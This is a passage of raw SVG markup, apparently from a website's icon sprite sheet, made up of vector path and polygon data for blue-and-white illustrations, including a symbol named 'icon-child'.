91.1900083,16.895 91.7360083,16.553 L92.6170083,17.44 C92.9310083,17.755 93.4440083,17.755 93.7620083,17.44 L94.4210083,16.781 C94.7370083,16.468 94.7390083,15.955 94.4210083,15.642 L93.5450083,14.755 C93.8890083,14.21 94.1460083,13.606 94.2930083,12.955 L95.5400083,12.959 C95.9870083,12.959 96.3470083,12.598 96.3490083,12.153 L96.3490083,11.216 C96.3490083,10.773 95.9900083,10.412 95.5460083,10.412 L95.5460083,10.412 Z" id="Fill-532" fill="#FFFFFF"></path> <path d="M88.4280386,9.614 C87.4270386,9.614 86.6130386,10.425 86.6130386,11.422 C86.6130386,12.422 87.4270386,13.236 88.4280386,13.236 C89.4260386,13.236 90.2370386,12.422 90.2370386,11.422 C90.2370386,10.425 89.4260386,9.614 88.4280386,9.614 Z M88.4280386,14.736 C86.6010386,14.736 85.1130386,13.249 85.1130386,11.422 C85.1130386,9.598 86.6010386,8.114 88.4280386,8.114 C90.2530386,8.114 91.7370386,9.598 91.7370386,11.422 C91.7370386,13.249 90.2530386,14.736 88.4280386,14.736 Z M85.2350386,15.333 L85.7390386,15.653 C86.2280386,15.962 86.7540386,16.183 87.3040386,16.309 L87.8890386,16.442 L87.8820386,18.288 L88.8740386,18.349 L88.9360386,16.446 L89.5200386,16.315 C90.0730386,16.191 90.6010386,15.973 91.0870386,15.668 L91.5950386,15.349 L92.8990386,16.662 L93.6400386,16.002 L92.3430386,14.609 L92.6600386,14.106 C92.9680386,13.618 93.1870386,13.091 93.3120386,12.539 L93.4440386,11.953 L95.2920386,11.959 L95.3490386,10.966 L95.3470386,10.966 L95.2930386,10.912 L93.4480386,10.905 L93.3170386,10.323 C93.1910386,9.767 92.9720386,9.24 92.6670386,8.758 L92.3470386,8.251 L93.6520386,6.943 L92.9950386,6.201 L91.6040386,7.507 L91.0970386,7.186 C90.6190386,6.882 90.0940386,6.664 89.5360386,6.537 L88.9520386,6.404 L88.9520386,4.557 L87.9600386,4.5 L87.9020386,6.406 L87.3170386,6.538 C86.7780386,6.659 86.2590386,6.872 85.7740386,7.172 L85.2660386,7.486 L83.9680386,6.176 L83.2220386,6.833 L84.5210386,8.229 L84.1980386,8.733 C83.8920386,9.213 83.6720386,9.738 83.5430386,10.294 L83.4080386,10.877 L81.5630386,10.87 L81.5000386,11.865 L83.4010386,11.927 L83.5310386,12.511 C83.6580386,13.072 83.8750386,13.597 84.1760386,14.073 L84.4970386,14.581 L83.1840386,15.89 L83.8410386,16.633 L85.2350386,15.333 Z M88.8710386,19.849 L87.9340386,19.845 C87.5210386,19.845 87.1300386,19.683 86.8360386,19.387 C86.5410386,19.091 86.3800386,18.699 86.3820386,18.282 L86.3850386,17.607 C86.0690386,17.502 85.7600386,17.374 85.4610386,17.22 L84.9800386,17.698 C84.6890386,17.989 84.2980386,18.151 83.8830386,18.151 L83.8800386,18.151 C83.4620386,18.15 83.0700386,17.986 82.7760386,17.688 L82.1200386,17.026 C81.5160386,16.417 81.5180386,15.431 82.1260386,14.827 L82.6080386,14.346 C82.4580386,14.05 82.3310386,13.742 82.2280386,13.423 L81.5520386,13.421 C80.6890386,13.414 79.9940386,12.711 80.0000386,11.856 L80.0060386,10.921 C80.0060386,10.507 80.1700386,10.114 80.4670386,9.819 C80.7640386,9.525 81.1360386,9.404 81.5720386,9.37 L82.2450386,9.373 C82.3510386,9.056 82.4800386,8.748 82.6330386,8.451 L82.1550386,7.968 C81.8630386,7.674 81.7040386,7.283 81.7060386,6.866 C81.7070386,6.45 81.8710386,6.059 82.1670386,5.767 L82.8320386,5.109 C83.4110386,4.528 84.4430386,4.528 85.0320386,5.119 L85.5110386,5.603 C85.8010386,5.458 86.0980386,5.335 86.4020386,5.235 L86.4020386,4.557 C86.4020386,3.698 87.1010386,3 87.9600386,3 L88.8930386,3 C89.7530386,3 90.4520386,3.698 90.4520386,4.557 L90.4520386,5.236 C90.7700386,5.339 91.0770386,5.467 91.3730386,5.618 L91.8560386,5.138 C92.1480386,4.845 92.5370386,4.684 92.9530386,4.684 C93.3870386,4.639 93.7620386,4.846 94.0560386,5.14 L94.7170386,5.802 C95.0120386,6.096 95.1730386,6.487 95.1720386,6.904 C95.1720386,7.321 95.0080386,7.712 94.7120386,8.006 L94.2350386,8.484 C94.3870386,8.782 94.5150386,9.091 94.6180386,9.41 L95.2960386,9.412 C96.1520386,9.413 96.8490386,10.109 96.8490386,10.966 L96.8490386,11.902 C96.8450386,12.762 96.1460386,13.459 95.2900386,13.459 L94.6120386,13.457 C94.5080386,13.774 94.3800386,14.083 94.2280386,14.381 L94.7040386,14.864 C94.9940386,15.149 95.1580386,15.541 95.1590386,15.958 C95.1590386,16.377 94.9950386,16.77 94.6970386,17.065 L94.0420386,17.72 C93.4280386,18.327 92.4410386,18.324 91.8360386,17.721 L91.3560386,17.237 C91.0580386,17.388 90.7490386,17.516 90.4320386,17.619 L90.4300386,18.299 C90.4300386,19.152 89.7310386,19.849 88.8710386,19.849 L88.8710386,19.849 Z" id="Fill-533" fill="#0073AA"></path> <path d="M38.749,102.498 C32.822,102.498 28,97.676 28,91.749 C28,85.821 32.822,81 38.749,81 C42.75,81 46.394,83.199 48.261,86.739 L46.935,87.439 C45.328,84.392 42.191,82.5 38.749,82.5 C33.649,82.5 29.5,86.649 29.5,91.749 C29.5,96.849 33.649,100.998 38.749,100.998 L38.749,102.498" id="Fill-534" fill="#0073AA"></path> <path d="M24.5,99.523 L23,99.523 C23,97.89 23.501,96.328 24.45,95.005 C25.519,93.516 27.08,92.448 28.848,92 L29.217,93.454 C27.791,93.815 26.531,94.677 25.669,95.879 C24.905,96.946 24.5,98.205 24.5,99.523" id="Fill-535" fill="#0073AA"></path> <path d="M48.5,102.521 L47,102.521 C47,100.889 47.501,99.327 48.45,98.005 C49.518,96.515 51.079,95.448 52.848,95 L53.217,96.454 C51.79,96.815 50.531,97.676 49.669,98.879 C48.904,99.945 48.5,101.205 48.5,102.521" id="Fill-536" fill="#0073AA"></path> <path d="M17.63,109.76 C12.14,109.76 8,105.835 8,100.63 C8,95.32 12.32,91 17.63,91 C20.88,91 23.89,92.623 25.679,95.342 L24.427,96.167 C22.915,93.871 20.374,92.5 17.63,92.5 C13.147,92.5 9.5,96.148 9.5,100.63 C9.5,104.98 12.995,108.26 17.63,108.26 L17.63,109.76" id="Fill-537" fill="#0073AA"></path> <path d="M137.825,93.872 C137.12,87.959 132.091,83.5 126.126,83.5 C122.134,83.5 118.444,85.498 116.256,88.846 L115,88.025 C117.466,84.252 121.625,82 126.126,82 C132.851,82 138.52,87.027 139.315,93.695 L137.825,93.872" id="Fill-538" fill="#0073AA"></path> <path d="M135.5,100.593 L134,100.593 C134,95.854 137.855,92 142.593,92 L142.593,93.5 C138.682,93.5 135.5,96.682 135.5,100.593" id="Fill-539" fill="#0073AA"></path> <path d="M154.428955,108.394775 C161.000955,108.394775 167.34,101.993 167.34,95.42 C167.34,88.847 161.992,83.5 155.42,83.5 C149.87,83.5 145.101,87.266 143.821,92.658 C143.609,93.556 143.5,94.485 143.5,95.42 L142,95.42 C142,94.369 142.122,93.323 142.362,92.311 C143.803,86.24 149.172,82 155.42,82 C162.82,82 168.84,88.02 168.84,95.42 C168.84,102.82 162.82,109.290283 155.42,109.290283 L154.428955,108.394775 Z" id="Fill-540" fill="#0073AA"></path> <path d="M118.996,102.234 C118.996,106.229 113.848,109.468 107.498,109.468 C101.148,109.468 96,106.229 96,102.234 C96,98.239 101.148,95 107.498,95 C113.848,95 118.996,98.239 118.996,102.234" id="Fill-541" fill="#FFFFFF"></path> <path d="M118.468,99.233 C118.468,103.229 115.23,106.467 111.234,106.467 C107.239,106.467 104,103.229 104,99.233 C104,95.238 107.239,92 111.234,92 C115.23,92 118.468,95.238 118.468,99.233" id="Fill-542" fill="#FFFFFF"></path> <path d="M108.565,100.283 C108.565,105.409 104.409,109.565 99.283,109.565 C94.156,109.565 90,105.409 90,100.283 C90,95.156 94.156,91 99.283,91 C104.409,91 108.565,95.156 108.565,100.283" id="Fill-543" fill="#FFFFFF"></path> <path d="M105.5,98.985 L104,98.985 C104,94.582 107.581,91 111.983,91 C113.608,91 115.172,91.486 116.507,92.405 L115.656,93.64 C114.573,92.894 113.303,92.5 111.983,92.5 C108.408,92.5 105.5,95.409 105.5,98.985" id="Fill-544" fill="#0073AA"></path> <path d="M154.109,103.905 L152.927,102.981 C153.429,102.339 153.72,101.568 153.769,100.751 C153.903,98.539 152.211,96.631 150,96.497 L150.09,95 C153.127,95.183 155.449,97.804 155.267,100.841 C155.198,101.963 154.798,103.022 154.109,103.905" id="Fill-545" fill="#0073AA"></path> <path d="M89,100.033 C89,94.5 93.501,90 99.033,90 C102.414,90 105.546,91.686 107.41,94.511 L106.158,95.337 C104.572,92.934 101.909,91.5 99.033,91.5 C94.328,91.5 90.5,95.328 90.5,100.033 C90.5,104.738 92.9743652,108.234863 98.5073242,108.234863 L99.2976074,109.354492 C93.7656074,109.354492 89,105.565 89,100.033 Z" id="Fill-546" fill="#0073AA"></path> <polygon id="Fill-547" points="0 109.5 2.739 109.5 2.739 108 0 108"></polygon> <polygon id="Fill-548" fill="#0073AA" points="168 109.5 174.049 109.5 174.049 108 168 108"></polygon> <polygon id="Fill-549" fill="#0073AA" points="3 109.842041 166.823 109.5 166.823 108 3 108.284424"></polygon> <polygon id="Path" fill="#0073AA" points="69 49.5 70.398 49.5 70.398 48 69 48"></polygon> <polygon id="Path" fill="#0073AA" points="73 49.5 74.399 49.5 74.399 48 73 48"></polygon> <polygon id="Path" fill="#0073AA" points="77 49.5 78.398 49.5 78.398 48 77 48"></polygon> <path d="M113.541,26.747 L112.949,28.113 L114.125,28.113 L113.541,26.747 Z M114.96,30.049 L114.522,29.034 L112.552,29.034 L112.115,30.049 L111,30.049 L113.03,25.349 L114.044,25.349 L116.076,30.049 L114.96,30.049 L114.96,30.049 Z" id="Fill-375" fill="#0073AA"></path> <path d="M118.049,29.161 L118.768,29.161 C119.068,29.161 119.294,29.124 119.444,29.051 C119.594,28.977 119.669,28.831 119.669,28.614 C119.669,28.396 119.59,28.253 119.43,28.183 C119.271,28.114 119.017,28.079 118.668,28.079 L118.049,28.079 L118.049,29.161 Z M118.049,27.252 L118.547,27.252 C118.838,27.252 119.053,27.221 119.195,27.158 C119.337,27.095 119.407,26.959 119.407,26.751 C119.407,26.543 119.341,26.405 119.212,26.338 C119.082,26.271 118.862,26.237 118.553,26.237 L118.049,26.237 L118.049,27.252 Z M119.057,30.049 L117,30.049 L117,25.349 L118.829,25.349 C119.147,25.349 119.422,25.387 119.652,25.463 C119.884,25.54 120.056,25.643 120.174,25.773 C120.384,26.015 120.489,26.288 120.489,26.593 C120.489,26.961 120.371,27.235 120.133,27.413 L119.965,27.532 L119.797,27.609 C120.088,27.671 120.32,27.802 120.493,28.002 C120.665,28.202 120.752,28.449 120.752,28.745 C120.752,29.072 120.639,29.361 120.416,29.612 C120.155,29.904 119.703,30.049 119.057,30.049 L119.057,30.049 Z" id="Fill-376" fill="#0073AA"></path> <path d="M123.441,29.228 C123.956,29.228 124.377,29.024 124.705,28.616 L125.377,29.309 C124.844,29.91 124.215,30.21 123.491,30.21 C122.767,30.21 122.171,29.981 121.702,29.524 C121.235,29.067 121,28.49 121,27.793 C121,27.096 121.238,26.515 121.716,26.048 C122.194,25.582 122.778,25.349 123.468,25.349 C124.238,25.349 124.884,25.643 125.405,26.229 L124.752,26.97 C124.42,26.557 124.008,26.351 123.515,26.351 C123.12,26.351 122.784,26.479 122.503,26.737 C122.223,26.995 122.082,27.343 122.082,27.779 C122.082,28.217 122.215,28.567 122.48,28.832 C122.743,29.097 123.065,29.228 123.441,29.228" id="Fill-377" fill="#0073AA"></path> <polygon id="Fill-378" fill="#0073AA" points="98 25.849 107.862 25.849 107.862 24.349 98 24.349"></polygon> <polygon id="Fill-379" fill="#0073AA" points="94 28.849 108.16 28.849 108.16 27.349 94 27.349"></polygon> <polygon id="Fill-380" fill="#0073AA" points="90 31.849 107.974 31.849 107.974 30.349 90 30.349"></polygon> <g id="Fill-455" transform="translate(31.435000, 49.500000)"> <path d="M21.582,12.02 C21.582,12.019 21.582,12.016 21.582,12.014 C21.582,12.016 21.582,12.018 21.582,12.02 M21.582,11.98 C21.582,11.978 21.581,11.976 21.581,11.973 C21.581,11.976 21.582,11.978 21.582,11.98 M21.581,11.895 C21.581,11.892 21.581,11.889 21.581,11.886 C21.581,11.889 21.581,11.892 21.581,11.895 M21.581,11.856 C21.581,11.853 21.581,11.848 21.581,11.844 C21.581,11.849 21.581,11.852 21.581,11.856 M21.58,11.817 C21.58,11.813 21.58,11.81 21.58,11.806 C21.58,11.81 21.58,11.813 21.58,11.817 M21.58,11.767 C21.58,11.757 21.58,11.747 21.58,11.737 C21.58,11.747 21.58,11.757 21.58,11.767" fill="#98C7E1"></path> <path d="M31.179,28.396 L31.248,28.291 C31.253,28.295 31.259,28.298 31.265,28.302 C31.236,28.333 31.208,28.365 31.179,28.396" id="Fill-459" fill="#0073AA"></path> <path d="M35.184,9.973 L32.05,16.551 C32.343,18.381 32.275,20.299 31.764,22.206 C29.821,29.455 22.37,33.756 15.122,31.813 C7.873,29.87 3.572,22.419 5.515,15.17 C7.458,7.922 14.909,3.621 22.157,5.564 C24.717,6.25 26.898,7.632 28.577,9.441 L35.184,9.973" id="Fill-460" fill="#8AC4E6"></path> <path d="M18.619,5.845 C16.394,5.845 14.2,6.428 12.221,7.57 C9.252,9.285 7.128,12.053 6.24,15.365 C5.352,18.677 5.807,22.136 7.521,25.106 C9.236,28.076 12.004,30.2 15.316,31.088 C18.629,31.977 22.088,31.521 25.057,29.807 C28.027,28.092 30.151,25.324 31.039,22.012 C31.507,20.268 31.598,18.471 31.31,16.669 L31.273,16.439 L34.039,10.633 L28.227,10.165 L28.028,9.951 C26.381,8.177 24.283,6.91 21.963,6.288 C20.857,5.992 19.734,5.845 18.619,5.845 Z M18.663,33.032 C17.417,33.032 16.163,32.868 14.927,32.537 C11.228,31.545 8.136,29.173 6.222,25.856 C4.307,22.539 3.799,18.675 4.791,14.976 C5.782,11.277 8.155,8.185 11.471,6.271 C14.788,4.356 18.65,3.848 22.352,4.839 C24.85,5.509 27.116,6.847 28.924,8.716 L36.33,9.313 L32.827,16.666 C33.104,18.599 32.991,20.527 32.488,22.401 C31.497,26.1 29.124,29.191 25.807,31.105 C23.598,32.381 21.147,33.032 18.663,33.032 L18.663,33.032 Z" id="Fill-461" fill="#0073AA"></path> <path d="M27.49,21.061 C28.76,16.322 25.857,11.426 21.006,10.125 C16.154,8.825 11.191,11.612 9.921,16.351 C8.651,21.09 11.554,25.986 16.405,27.287 C21.257,28.587 26.22,25.8 27.49,21.061" id="Fill-462" fill="#FFFFFF"></path> <polyline id="Fill-463" fill="#0073AA" points="16.535 24.278 11.858 19.602 14.686 16.773 16.535 18.622 17.4762865 17.6807135 22.046 13.111 24.874 15.939 16.535 24.278 20.3554688 19.3138021"></polyline> <polygon id="Fill-464" fill="#0073AA" points="18.243 3.306 19.743 3.306 19.743 0 18.243 0"></polygon> <polyline id="Fill-465" fill="#0073AA" points="2.721 28.434 1.973 27.133 4.84 25.485 5.588 26.786 2.721 28.434"></polyline> <polyline id="Fill-466" fill="#0073AA" points="0.749 23.964 0.362 22.515 3.556 21.664 3.943 23.113 0.749 23.964"></polyline> <polyline id="Fill-467" fill="#0073AA" points="3.305 19.141 0 19.135 0.002 17.635 3.307 17.641 3.305 19.141"></polyline> <polyline id="Fill-468" fill="#0073AA" points="3.717 15.139 0.526 14.277 0.917 12.829 4.108 13.69 3.717 15.139"></polyline> <polyline id="Fill-469" fill="#0073AA" points="5.152 11.38 2.293 9.721 3.045 8.423 5.904 10.082 5.152 11.38"></polyline> <polyline id="Fill-470" fill="#0073AA" points="7.511 8.121 5.178 5.778 6.241 4.719 8.574 7.062 7.511 8.121"></polyline> <polyline id="Fill-471" fill="#0073AA" points="10.633 5.583 8.987 2.716 10.288 1.969 11.934 4.836 10.633 5.583"></polyline> <polyline id="Fill-472" fill="#0073AA" points="14.307 3.94 13.459 0.745 14.908 0.36 15.756 3.556 14.307 3.94"></polyline> </g> <path d="M44.98,20.5 C40.855,20.5 37.5,23.855 37.5,27.979 C37.5,32.103 40.855,35.459 44.98,35.459 C49.104,35.459 52.46,32.103 52.46,27.979 C52.46,23.855 49.104,20.5 44.98,20.5 Z M44.98,36.959 C40.028,36.959 36,32.931 36,27.979 C36,23.028 40.028,19 44.98,19 C49.932,19 53.96,23.028 53.96,27.979 C53.96,32.931 49.932,36.959 44.98,36.959 L44.98,36.959 Z" id="Fill-699" fill="#0073AA"></path> <path d="M48.272,36.215 L47,35.42 C48.243,33.432 48.928,30.825 48.928,28.078 C48.928,25.355 48.255,22.766 47.034,20.788 L48.31,20 C49.676,22.211 50.428,25.08 50.428,28.078 C50.428,31.102 49.662,33.992 48.272,36.215" id="Fill-700" fill="#0073AA"></path> <path d="M42.158,36.216 C40.767,33.992 40,31.102 40,28.078 C40,25.084 40.753,22.215 42.119,20 L43.396,20.788 C42.174,22.769 41.5,25.358 41.5,28.078 C41.5,30.824 42.186,33.431 43.43,35.42 L42.158,36.216" id="Fill-701" fill="#0073AA"></path> <polygon id="Fill-702" fill="#0073AA" points="44 36.459 45.5 36.459 45.5 20 44 20"></polygon> <polygon id="Fill-703" fill="#0073AA" points="37 28.5 53.46 28.5 53.46 27 37 27"></polygon> <polygon id="Fill-704" fill="#0073AA" points="38 24.5 52.212 24.5 52.212 23 38 23"></polygon> <polygon id="Fill-705" fill="#0073AA" points="38 32.5 52.34 32.5 52.34 31 38 31"></polygon> </g> </symbol> <symbol id="icon-child" viewBox="0 0 199 100" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs></defs> <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"> <path d="M162.238416,41.0256956 L161.782416,38.7086956 C161.569416,37.0636956 160.061416,35.9026956 158.416416,36.1156956 L123.618416,40.6336956 C121.972416,40.8476956 120.811416,42.3546956 121.025416,43.9996956 L127.394416,93.0586956 L166.852416,80.9746956 L162.238416,41.0256956" id="Fill-261" fill="#FFFFFF"></path> <path d="M161.071,41.9176994 L160.615,39.6016994 C160.53,38.9556994 160.224,38.4246994 159.748,38.0576994 C159.27,37.6906994 158.681,37.5276994 158.082,37.6086994 L134.193,40.7096994 L134,39.2216994 L157.888,36.1196994 C159.944,35.8646994 161.828,37.3076994 162.095,39.3606994 L162.543,41.6286994 L161.071,41.9176994" id="Fill-262" fill="#0073AA"></path> <path d="M131.89,98.5695 L169.208,98.5695 C170.252,98.5695 171.099,97.7225 171.099,96.6785 L171.099,44.9815 C171.099,43.9375 170.252,43.0905 169.208,43.0905 L131.89,43.0905 C130.846,43.0905 130,43.9375 130,44.9815 L130,96.6785 C130,97.7225 130.846,98.5695 131.89,98.5695" id="Fill-263" fill="#8AC4E6"></path> <path d="M167.689,99.0695 L167.689,97.5695 C169.105,97.5695 170.256,96.4165 170.256,95.0005 L170.256,46.1595 C170.256,44.7435 169.105,43.5905 167.689,43.5905 L142,43.5905 L142,42.0905 L167.689,42.0905 C169.932,42.0905 171.756,43.9165 171.756,46.1595 L171.756,95.0005 C171.756,97.2445 169.932,99.0695 167.689,99.0695" id="Fill-264" fill="#0073AA"></path> <polygon id="Fill-265" fill="#0073AA" points="168 49.5905 175.601 49.5905 175.601 48.0905 168 48.0905"></polygon> <polygon id="Fill-266" fill="#0073AA" points="168 55.5905 175.601 55.5905 175.601 54.0905 168 54.0905"></polygon> <polygon id="Fill-267" fill="#0073AA" points="168 60.5905 175.601 60.5905 175.601 59.0905 168 59.0905"></polygon> <polygon id="Fill-268" fill="#0073AA" points="168 65.5905 175.601 65.5905 175.601 64.0905 168 64.0905"></polygon> <polygon id="Fill-269" fill="#0073AA" points="168 71.5905 175.601 71.5905 175.601 70.0905 168 70.0905"></polygon> <polygon id="Fill-270" fill="#0073AA" points="168 76.5905 175.601 76.5905 175.601 75.0905 168 75.0905"></polygon> <polygon id="Fill-271" fill="#0073AA" points="168 82.5905 175.391 82.5905 175.391 81.0905 168 81.0905"></polygon> <polygon id="Fill-272" fill="#0073AA" points="168 87.5905 175.391 87.5905 175.391 86.0905 168 86.0905"></polygon> <polygon id="Fill-273" fill="#0073AA" points="168 92.5905 175.391 92.5905 175.391 91.0905 168 91.0905"></polygon> <path d="M142,65.0595 C142,70.0125 146.016,74.0285 150.969,74.0285 C155.922,74.0285 159.938,70.0125 159.938,65.0595 C159.938,60.1065 155.922,56.0905 150.969,56.0905 C146.016,56.0905 142,60.1065 142,65.0595" id="Fill-274" fill="#FFFFFF"></path> <path d="M150.718,56.5905 C146.186,56.5905 142.5,60.2775 142.5,64.8095 C142.5,69.3415 146.186,73.0285 150.718,73.0285 C155.25,73.0285 158.937,69.3415 158.937,64.8095 C158.937,60.2775 155.25,56.5905 150.718,56.5905 Z M150.718,74.5285 C145.359,74.5285 141,70.1695 141,64.8095 C141,59.4505 145.359,55.0905 150.718,55.0905 C156.078,55.0905 160.437,59.4505 160.437,64.8095 C160.437,70.1695 156.078,74.5285 150.718,74.5285 L150.718,74.5285 Z" id="Fill-275" fill="#0073AA"></path> <path d="M43.984,22.8825 L43.984,97.5515 C43.984,97.9885 43.63,98.3435 43.193,98.3435 L32.792,98.3435 C32.354,98.3435 32,97.9885 32,97.5515 L32,22.8825 C32,22.4455 32.354,22.0905 32.792,22.0905 L43.193,22.0905 C43.63,22.0905 43.984,22.4455 43.984,22.8825" id="Fill-276" fill="#8AC4E6"></path> <path d="M32.687,98.3435 L36.932,98.3435 L36.932,22.0905 L32.687,22.0905 C32.308,22.0905 32,22.4355 32,22.8605 L32,97.5745 C32,97.9995 32.308,98.3435 32.687,98.3435" id="Fill-277" fill="#E7F7FF"></path> <path d="M32.5,98.2565 L31,98.2565 L31,23.6765 C31,22.8025 31.712,22.0905 32.586,22.0905 L42.898,22.0905 C43.773,22.0905 44.485,22.8025 44.485,23.6765 L44.485,29.9295 L42.985,29.9295 L42.985,23.6765 L42.898,23.5905 L32.586,23.5905 L32.5,23.6765 L32.5,98.2565" id="Fill-278" fill="#0073AA"></path> <polygon id="Fill-279" fill="#0073AA" points="32 93.5905 37.519 93.5905 37.519 92.0905 32 92.0905"></polygon> <polygon id="Fill-280" fill="#0073AA" points="32 85.5905 37.519 85.5905 37.519 84.0905 32 84.0905"></polygon> <polygon id="Fill-281" fill="#0073AA" points="32 77.5905 37.519 77.5905 37.519 76.0905 32 76.0905"></polygon> <polygon id="Fill-282" fill="#0073AA" points="32 69.5905 37.519 69.5905 37.519 68.0905 32 68.0905"></polygon> <polygon id="Fill-283" fill="#0073AA" points="32 61.5905 37.519 61.5905 37.519 60.0905 32 60.0905"></polygon> <polygon id="Fill-284" fill="#0073AA" points="32 53.5905 37.519 53.5905 37.519 52.0905 32 52.0905"></polygon> <polygon id="Fill-285" fill="#0073AA" points="32 45.5905 37.519 45.5905 37.519 44.0905 32 44.0905"></polygon> <polygon id="Fill-286" fill="#0073AA" points="32 37.5905 37.519 37.5905 37.519 36.0905 32 36.0905"></polygon> <polygon id="Fill-287" fill="#0073AA" points="32 29.5905 37.519 29.5905 37.519 28.0905 32 28.0905"></polygon> <path d="M183.024,39.5905 L178.75,39.5905 C178.336,39.5905 178,39.2545 178,38.8405 C178,38.4265 178.336,38.0905 178.75,38.0905 L183.024,38.0905 C183.438,38.0905 183.774,38.4265 183.774,38.8405 C183.774,39.2545 183.438,39.5905 183.024,39.5905" id="Fill-288" fill="#0073AA"></path> <path d="M180.75,41.8645 C180.336,41.8645 180,41.5285 180,41.1145 L180,36.8405 C180,36.4255 180.336,36.0905 180.75,36.0905 C181.164,36.0905 181.5,36.4255 181.5,36.8405 L181.5,41.1145 C181.5,41.5285 181.164,41.8645 180.75,41.8645" id="Fill-289" fill="#0073AA"></path> <path d="M77.024,20.5905 L72.75,20.5905 C72.336,20.5905 72,20.2545 72,19.8405 C72,19.4265 72.336,19.0905 72.75,19.0905 L77.024,19.0905 C77.438,19.0905 77.774,19.4265 77.774,19.8405 C77.774,20.2545 77.438,20.5905 77.024,20.5905" id="Fill-290" fill="#0073AA"></path> <path d="M74.75,21.8645 C74.336,21.8645 74,21.5285 74,21.1145 L74,16.8405 C74,16.4265 74.336,16.0905 74.75,16.0905 C75.164,16.0905 75.5,16.4265 75.5,16.8405 L75.5,21.1145 C75.5,21.5285 75.164,21.8645 74.75,21.8645" id="Fill-291" fill="#0073AA"></path> <path d="M136.74975,9.61225064 C136.55775,9.61225064 136.36575,9.53925064 136.21975,9.39225064 C135.92675,9.09925064 135.92675,8.62525064 136.21975,8.33225064 L139.24175,5.31025064 C139.53575,5.01625064 140.01075,5.01825064 140.30275,5.31025064 C140.59575,5.60325064 140.59575,6.07825064 140.30275,6.37125064 L137.28075,9.39225064 C137.13375,9.53925064 136.94275,9.61225064 136.74975,9.61225064" id="Fill-292" fill="#0073AA"></path> <path d="M139.77275,9.61225 C139.57975,9.61225 139.38875,9.53925 139.24175,9.39225 L136.21975,6.37125 C135.92675,6.07825 135.92675,5.60325 136.21975,5.31025 C136.51275,5.01725 136.98775,5.01725 137.28075,5.31025 L140.30275,8.33225 C140.59575,8.62525 140.59575,9.09925 140.30275,9.39225 C140.15575,9.53925 139.96475,9.61225 139.77275,9.61225" id="Fill-293" fill="#0073AA"></path> <path d="M1.74975,35.61325 C1.55775,35.61325 1.36575,35.54025 1.21975,35.39325 C0.92675,35.10025 0.92675,34.62625 1.21975,34.33325 L4.24175,31.31025 C4.53475,31.01725 5.00975,31.01725 5.30275,31.31025 C5.59575,31.60325 5.59575,32.07825 5.30275,32.37125 L2.27975,35.39325 C2.13375,35.54025 1.94275,35.61325 1.74975,35.61325" id="Fill-294" fill="#0073AA"></path> <path d="M4.77275,35.61325 C4.57975,35.61325 4.38875,35.54025 4.24175,35.39325 L1.21975,32.37125 C0.92675,32.07825 0.92675,31.60325 1.21975,31.31025 C1.51275,31.01725 1.98675,31.01725 2.27975,31.31025 L5.30275,34.33325 C5.59575,34.62625 5.59575,35.10025 5.30275,35.39325 C5.15575,35.54025 4.96475,35.61325 4.77275,35.61325" id="Fill-295" fill="#0073AA"></path> <polygon id="Fill-296" fill="#0073AA" points="60 1.5905 89.39 1.5905 89.39 0.0905 60 0.0905"></polygon> <polygon id="Fill-297" fill="#0073AA" points="112 23.5905 141.39 23.5905 141.39 22.0905 112 22.0905"></polygon> <polygon id="Fill-298" fill="#0073AA" points="76 7.5905 130.342 7.5905 130.342 6.0905 76 6.0905"></polygon> <polygon id="Fill-299" fill="#0073AA" points="0.557 45.5905 16.48 45.5905 16.48 44.0905 0.557 44.0905"></polygon> <polygon id="Fill-300" fill="#0073AA" points="179 46.5905 198.352 46.5905 198.352 45.0905 179 45.0905"></polygon> <polygon id="Fill-301" fill="#0073AA" points="91 1.5905 94.57 1.5905 94.57 0.0905 91 0.0905"></polygon> <path d="M105.693,31.4375 C105.693,32.1815 105.09,32.7845 104.347,32.7845 C103.603,32.7845 103,32.1815 103,31.4375 C103,30.6935 103.603,30.0905 104.347,30.0905 C105.09,30.0905 105.693,30.6935 105.693,31.4375" id="Fill-302" fill="#0073AA"></path> <path d="M17.52,67.8505 C17.52,68.8215 16.732,69.6095 15.76,69.6095 C14.788,69.6095 14,68.8215 14,67.8505 C14,66.8785 14.788,66.0905 15.76,66.0905 C16.732,66.0905 17.52,66.8785 17.52,67.8505" id="Fill-303" fill="#0073AA"></path> <path d="M39.52,14.8495 C39.52,15.8215 38.732,16.6095 37.76,16.6095 C36.788,16.6095 36,15.8215 36,14.8495 C36,13.8785 36.788,13.0905 37.76,13.0905 C38.732,13.0905 39.52,13.8785 39.52,14.8495" id="Fill-304" fill="#0073AA"></path> <path d="M184.519,82.8505 C184.519,83.8225 183.731,84.6105 182.759,84.6105 C181.788,84.6105 181,83.8225 181,82.8505 C181,81.8785 181.788,81.0905 182.759,81.0905 C183.731,81.0905 184.519,81.8785 184.519,82.8505" id="Fill-305" fill="#0073AA"></path> <path d="M132.248,98.2755 L131.95,45.3365 C131.95,41.3345 128.303,38.0905 123.804,38.0905 L48,38.0905 L48.298,98.3365 L132.248,98.2755" id="Fill-306" fill="#FFFFFF"></path> <path d="M131.498,99.0295 L131.2,46.0905 C131.2,42.5045 127.882,39.5905 123.803,39.5905 L48,39.5905 L48,38.0905 L123.803,38.0905 C128.709,38.0905 132.7,41.6775 132.7,46.0865 L132.998,99.0215 L131.498,99.0295" id="Fill-307" fill="#0073AA"></path> <path d="M124,98.4195 L132.457,98.4195 L132.457,35.9435 C132.457,32.7115 129.551,30.0905 125.966,30.0905 L124,30.0905 L124,98.4195" id="Fill-308" fill="#0073AA"></path> <path d="M124.5,99.1685 L123,99.1685 L123,30.0905 L125.716,30.0905 C129.709,30.0905 132.957,33.3385 132.957,37.3305 L132.957,45.1685 L131.457,45.1685 L131.457,37.3305 C131.457,34.1655 128.881,31.5905 125.716,31.5905 L124.5,31.5905 L124.5,99.1685" id="Fill-309" fill="#0073AA"></path> <path d="M50.457,98.4185 L42,98.4185 L42,35.9425 C42,32.7105 44.906,30.0905 48.49,30.0905 L50.457,30.0905 L50.457,98.4185" id="Fill-310" fill="#0073AA"></path> <path d="M51.957,99.1685 L50.457,99.1685 L50.457,31.5905 L49.24,31.5905 C46.075,31.5905 43.5,34.1655 43.5,37.3305 L43.5,99.1685 L42,99.1685 L42,37.3305 C42,33.3385 45.248,30.0905 49.24,30.0905 L51.957,30.0905 L51.957,99.1685" id="Fill-311" fill="#0073AA"></path> <path d="M102.63975,55.48925 C108.50475,61.35425 108.50475,70.86425 102.63975,76.73025 